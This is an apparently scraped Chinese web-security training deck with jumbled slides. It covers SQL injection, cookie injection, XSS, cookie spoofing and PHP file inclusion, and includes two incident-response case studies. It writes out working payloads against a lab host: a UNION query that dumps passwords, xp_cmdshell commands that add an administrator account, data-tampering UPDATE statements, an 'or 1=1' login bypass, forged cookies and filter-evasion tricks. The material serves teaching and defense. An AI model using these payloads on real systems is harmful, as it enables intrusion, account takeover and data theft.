- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
¾ 是否区分大小写(SelEcT代替 select) ¾ 是否区分Hex(%73%65%6C%65%63%74代替select) ¾ 是否只是过滤了空格(使用/**/代替) ¾ Cookies注入
关闭错误页面信息
跨站脚本
跨站脚本攻击XSS又叫CSS (Cross Site Script) 。 它指的是恶意攻击者往Web页面里插入恶意html代 码,当用户浏览该页之时,嵌入其中Web里面的html 代码会被执行,从而达到恶意用户的特殊目的。XSS属 于被动式的攻击,因为其被动且不好利用,所以许多人 常呼略其危害性。
2009年9月16日,接到应急电话,******门户网站服务器, 出现未知可疑文件,被怀疑入侵.
赶到现场后与信息中心人员以及进行了深入的沟通,了解 到网站配置情况如下:主要由IIS提供前端页面浏览服务, 数据库为SQL Server
对IIS服务器日志进行分析,追踪整个入侵过程:
入侵者(****)初步判断****目录下的****.asp可能存在 注入点,随后便用注入工具进行了验证,确定了注入点真 实存在,以下是入侵者验证注入点截图:
传播途径
¾ 垃圾邮件 ¾ 论坛群发 ¾ IM(QQ、MSN、google talk等)以及网游等系统广播 ¾ …..
利用XSS可以
¾ 窃取该域名的Cookie ¾ 篡改页面内容 ¾ 嵌入浏览器漏洞代码 ¾ ……
Cookie欺骗 ¾ Cookie原理:按照浏览器的约定,只有来自同一域名的cookie才 可以读写,而cookie只是浏览器的,对通讯协议无影响。 ¾ Cookie欺骗途径: 9 跳过浏览器,直接对通讯数据改写 9 修改浏览器,让浏览器从本地可以读写任意域名cookie 9 使用签名脚本,让浏览器从本地可以读写任意域名cookie 9 欺骗浏览器,让浏览器获得假的域名 ¾ Cookie欺骗的防范 9 编写安全的程序代码 9 保护好自己的隐私(Cookies)
廖红飞
什么是SQL注入
– SQL Injection
¾ 将SQL语句通过应用程序注入到原有SQL语句从而改变预期SQL执 行结果的一种技术。
–影响范围
¾ 数据库所在系统
–本质
¾ 插入语句 ¾ 改变结果 ¾ 操纵数据
SQL注入的危害
– 查询敏感信息
¾ 了解后台数据库的种类、版本,操作系统信息,数据库名、表名、 字段名以及数据库中的数据信息
开启服务器后发现网站访问正常,未发现挂马或篡改现 象;对服务器系统账户进行检查,未发现可疑、隐藏以及 影子账户;对网站目录进行检查,未发现可疑网页木马; 最后对tomcat访问日志进行检查时发现,tomcat未配置 web访问日志记录功能。
根据以上检查结果可以初步判断,此次异常事件并非安全 事件。但之前曾被恶意挂马,说明网站存在漏洞,接下来 对服务器进行了安全性检查,发现网站存在严重代码和配 置缺陷。
¾ 单引号,分号,“--”,/*, #
– 最常用的测试字符
¾ 单引号
– 测试位置:
¾ URL输入参数 ¾ Cookie变量 ¾ Post提交
判断注入点
http://10.10.10.227/list.asp?id=19’ http://10.10.10.227/list.asp?id=19 and 1=1 http://10.10.10.227/list.asp?id=19 and 1=2
敏感信息泄露
¾ 获取系统任意文件
执行任意命令
¾ 可以借助webshell执行系统命令
获取系统权限
¾ 获取的权限为运行web服务账户的权限,一般情况下windows为 user权限,Linux为apache权限。
获取系统敏感文件(/etc/passwd)
获取webshell(需要 allow_url_fopen=on,allow_url_include=on)
Select * from 数据表 where id=$id
适合SQL server http://10.10.10.227/list.asp?id=19 and db_name()>0
http://10.10.10.227/list.asp?id=19 order by N (N=1,2,3…)
)
攻击过程模拟
¾ 使用联合查询爆出后台密码 43 union select 1,username,password, 4,5,6,7,8,9,10 from admin
攻击过程模拟
¾ Md5在线破解将密码还原成原文
http://www.xmd5.org
定义
¾ 服务端通过php的特性(函数)去包含任意文件时,由于对包含的 文件来源过滤不严,从而可以提交一个恶意文件,来达到入侵的目 的
执行系统命令(需要xp_cmdshell支持)
http://10.10.10.227/list.asp?id=19 ;exec master..xp_cmdshell “net user name password /add”
http://10.10.10.227/list.asp?id=19 ;exec master..xp_cmdshell “net localgroup name administrators /add”
对tomcat配置文件进行检查,发现网站前台使用数据库 超级管理员sa连接后台数据库,如下图所示:
网站前台使用sa连接后台数据库存在严重安全隐患,恶意攻击者利用 SQL注入漏洞,配合sa权限再结合xp_cmdshell扩展存储过程可以远 程以administrator权限执行系统命令,从而完全控制目标系统。
粗心的程序员往往使用Request()方法提取客户端的数据,而又 没有设置严格的过滤策略,这刚好给恶意攻击者带来了方便。
冠龙科技企业网站管理系统cookies注入漏洞分析 防注入系统Check_Sql.asp源码分析 可以看出没有对cookies进行过滤
攻击过程模拟
¾ 登陆冠龙科技企业网站管理系统首页,点击如下链接
建议:
建立起良好的代码审核、审查体系。由专人负责代码的审 计,增加安全监督环节。
不要以sa的身份连接数据库。而是使用特定的数据库用 户,只具有读取,写入和更新数据库中适当数据的适当特 权。此帐户定期检查,确定它所具有的特权。
为后台管理所有页面增加身份认证功能,防止越权访 问。
编辑tomcat server.xml配置文件,在<HOST>标签中增 加记录日志功能
http://10.10.10.227/shownews.asp?id=43
¾ 加入单引号’,出现防注入提示
攻击过程模拟
¾ 去掉?id=43后继续浏览,数据库报错,说明存在cookies注入漏洞
http://10.10.10.227/shownews.asp
攻击过程模拟
¾ 打开cookies读写插件,使用1=1,1=2验证注入点 ¾ 使用order by N检测字段数 (当N=11时报错,说明字段数为10
当发现报错时,N-1即为字段数目
篡改数据
http://10.10.10.227/list.asp?id=19;update article set title=‘篡改了’ where articleid=21;--
http://10.10.10.227/list.asp?id=19;update article set content=‘篡改了’ where articleid=21;--
另外,还发现门户网站存在一些逻辑错误,远程用户不需要身份认证 即可访问管理后台下某些页面,具有后台管理员部分权限,如下图所 示:
从上图可以看出,远程客户端不需要任何身份验证即可访 问管理后台adminmanager目录下upload.jsp页面,从 而具有后台管理员上传权限,一旦被恶意攻击者利用,可 以直接上传或者绕过部分过滤上传jsp后门,从而控制目 标系统。
¾ 利用C&I工具访问WEB服务器http://10.10.10.227/ ¾ 注册帐户test1(123456)和test2两个帐号(654321)
构造Cookie文件
¾ 使用test1帐号登陆,修改Cookie信息中用户名部分替换成test2用户名 ¾ CookieDate=1&Password=49ba59abbe56e057&UserLevel=999&UserName
运算原则
And运算 Or运算
真and真=真 真and假=假 假and真=假 假and假=假 真or真=真 真or假=真 假or真=真 假or假=假
优先原则:
¾ 当and和or同时出现时,则先运行and运算符
正确输入
select * from admin where username = ‘admin’ and password = ‘admin’
错误输入
select * from admin where username =‘admin’ and password = ‘a’ or 1=1—’
username =‘admin’ and password = ‘a’ or 1=1—’
真
假
假
真
真
过滤select、update、delete、’等特殊字符
攻击过程模拟
¾ 使用IE浏览器访问WEB服务器http://10.10.10.227/login.asp ¾ 正常登陆时cookies信息为
ASPSESSIONIDQCCSRRTB=BNLLLALBFCKGLDJPGEGCDHOE; lunjilyb=randomid=12&password=7a57a5a743894a0e&username=admin
发现http://******article_channel_id 中 article_channel_id参数存在严重SQL注入漏洞, annouce.jsp部分源码如下图所示:
从以上代码片段可以看出,未对article_channel_id参数 进行任何合法性检查,存在严重SQL注入漏洞。
=test2
刷新当前页面发现登陆已经变成test2用户
原理
在asp中Request.QueryString 方法表示读取以GET方式提交的数 据, Request.Form 方法表示读取以POST方式提交的数据,而 Request()的工作方式是首先读取GET方式提交的数据,然后读 取POST方式提交的数据,最后再读取cookies数据。
攻击过程模拟
¾ 使用cookies&inject构造如下cookies
ASPSESSIONIDQCCSRRTB=BNLLLALBFCKGLDJPGEGCDHOE; lunjilyb=randomid=12&password=123&username=admin
¾ 不用输入密码,成功登陆后台
பைடு நூலகம்
攻击过程模拟
上传webshell(大马)
获取系统敏感文件(/etc/passwd)
2009年09月8日 某部队信息中心
16:00 与信息中心人员进行沟通,了解到官方网站由 windows2003+tomcat+jsp+sql server2005组成,半 月前曾被恶意挂马,运维人员发现后对网站进行了恢复, 并重做系统;此次事件为网站无法访问,运维人员怀疑网 站可能被入侵,并关闭了服务器。
– 绕过认证机制
¾ 无需知道口令就能以某些用户身份登陆应用系统
– 篡改敏感数据
¾ 对数据库进行增加、删除、篡改的操作
– 执行任意命令
¾ 利用数据库支持的特定功能(例如存储过程)在数据库所在操作系 统中执行任意命令
基本思路
– 非法的SQL语句和合法的SQL语句,返回结果应该是不同 的
– 输入特殊字符 检查返回信息
影响范围
¾ 几乎所有的cgi程序,主要是php程序
Include()工作原理 if ($_GET[page]) {
include $_GET[page]; } else { include “home.php”; }
如何调用 http://www.xxx.com/index.php?page=main.php